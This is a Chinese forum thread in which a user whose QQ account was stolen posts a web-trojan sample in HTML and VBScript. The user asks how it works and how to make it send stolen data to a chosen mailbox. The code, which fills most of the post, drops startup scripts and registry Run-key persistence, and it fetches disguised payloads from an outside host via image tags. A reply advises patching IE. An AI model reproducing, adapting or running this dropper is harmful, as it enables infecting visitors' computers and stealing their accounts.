请教关于利用网页代码盗QQ的问题
<p>我QQ被盗过一次，不过又找回来了。我总觉得是进入了一个网站后QQ被盗的。但我不知道是什么原理，我在网上查了一下，确实有这方面的html代码，我找了一段，但不知道这个代码把盗取的信息发送到哪去了。请高手帮我解答一下。倘若要发送到一个指定的邮箱中那代码又该如何呢？</p><p>以下是我在网上摘的一段代码：</p><p><font face="宋体">＜html＞ <br/>＜script language=vbs＞ <br/>'on error resume next <br/>rem czy a scit boy 2002.3.31 <br/>aosoao <br/>sub cal() <br/>myname=document.location <br/>If Right(myname, 3) = "hta" Then <br/>call svbs() <br/>end if <br/>end sub <br/>sub svbs() <br/>'on error resume next <br/>set fso = createobject("Scripting.FileSystemObject") <br/>If not (fso.FolderExists("c:\windows\system32\qq")) Then <br/>fso.CreateFolder("c:\windows\system32\qq") <br/>call sv() <br/>else <br/>settimeout "aa()",1 <br/>end if <br/>end sub <br/>sub sv() <br/>set fso = createobject("Scripting.FileSystemObject") <br/>set fil = fso.opentextfile("C:\WINDOWS\Start Menu\Programs\启动\so.vbs",2,tr <br/>ue) <br/>fil.writeline "drnext" <br/>fil.writeline "sub drnext()" <br/>fil.writeline "on error resume next" <br/>fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")" <br/>fil.writeline "If (fso.FileExists(""C:\WINDOWS\Start Menu\Programs\启动\so.h <br/>ta"")) Then" <br/>fil.writeline "fso.DeleteFile(""C:\WINDOWS\Start Menu\Programs\启动\so.hta"" <br/>)" <br/>fil.writeline "end if" <br/>fil.writeline "for each dr in fso.getfolder(""C:\windows\tempor~1"").subfold <br/>ers" <br/>fil.writeline " fdnext(dr)" <br/>fil.writeline " flnext(dr)" <br/>fil.writeline " next " <br/>fil.writeline "end sub" <br/>fil.writeline "sub fdnext(dr)" <br/>fil.writeline "for each fd in dr.subfolders" <br/>fil.writeline " fdnext(fd)" <br/>fil.writeline " flnext(fd)" <br/>fil.writeline "next" <br/>fil.writeline "end sub" <br/>fil.writeline "sub flnext(dr)" <br/>fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")" <br/>fil.writeline "for each fl in dr.files" <br/>fil.writeline "If LCase(fso.GetFileName(fl))=""123451[1].bmp"" then" <br/>fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\1.bmp""" <br/>fil.writeline "elseif LCase(fso.GetFileName(fl))=""123452[1].ico"" then" <br/>fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\1.ico""" <br/>fil.writeline "elseif LCase(fso.GetFileName(fl))=""123453[1].jpeg"" then" <br/>fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\2.jpg""" <br/>fil.writeline "elseif LCase(fso.GetFileName(fl))=""123454[1].jpeg"" then" <br/>fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\dl.vbs""" <br/>fil.writeline "elseif LCase(fso.GetFileName(fl))=""123455[1].jpeg"" then" <br/>fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq.vbs""" <br/>fil.writeline "elseif LCase(fso.GetFileName(fl))=""123456[1].jpeg"" then" <br/>fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq1.hta""" <br/>fil.writeline "elseif LCase(fso.GetFileName(fl))=""123457[1].jpeg"" then" <br/>fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq2.hta""" <br/>fil.writeline " End If" <br/>fil.writeline "next" <br/>fil.writeline "set R = CreateObject(""WScript.Shell"")" <br/>fil.writeline "R.RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\ <br/>Run\qq"",_" <br/>fil.writeline """c:\windows\system32\qq\qq.vbs""" <br/>fil.writeline "end sub" <br/>'---------------------------- <br/>settimeout "aa()",1 <br/>end sub <br/>sub aa() <br/>window.close <br/>end sub <br/>＜/script＞ <br/>＜script language=vbscript＞ <br/>on error resume next <br/>function lvbs() <br/>For Each ws In document.scripts <br/>If LCase(ws.Language) = "vbs" Then <br/>Lvbs = ws.Text <br/>Exit Function <br/>End If <br/>next <br/>end function <br/>main <br/>sub main() <br/>dim aa <br/>lvbs <br/>aa="＜html＞＜script language=vbscript＞" & lvbs & "＜" & "/" & "script" & "＞" & <br/>"＜" & "/" & "html" & "＞" <br/>set os = createobject("Scriptlet.TypeLib") <br/>Os.Reset <br/>Os.Path = "C:\WINDOWS\Start Menu\Programs\启动\so.hta" <br/>Os.Doc = aa <br/>Os.Write() <br/>end sub <br/>＜/script＞ <br/>＜img src=http://www.it.com.cn/f/edu/051/17/123451.bmp＞ <br/>＜img src=123452.ico＞ <br/>＜img src=http://www.it.com.cn/f/edu/051/17/123453.jpg＞ <br/>＜img src=http://www.it.com.cn/f/edu/051/17/123454.jpg＞ <br/>＜img src=http://www.it.com.cn/f/edu/051/17/123455.jpg＞ <br/>＜img src=http://www.it.com.cn/f/edu/051/17/123456.jpg＞ <br/>＜img src=http://www.it.com.cn/f/edu/051/17/123457.jpg＞ <br/>＜body＞ <br/>＜/body＞ <br/>＜/html＞ </font><br/></p> 请高人解释一下。本人爱浏览网页，只怕下次再被黑。在这先谢过跟贴的朋友！！ 这样的早就不好用了。.你电脑是什么系统? XP SP2 ? 现在IE方面有没出现新漏洞，所以暂时网络上面没有什么好用的网马.你把IE补丁都打上。然后就不怕网页木马拉!页:
[1]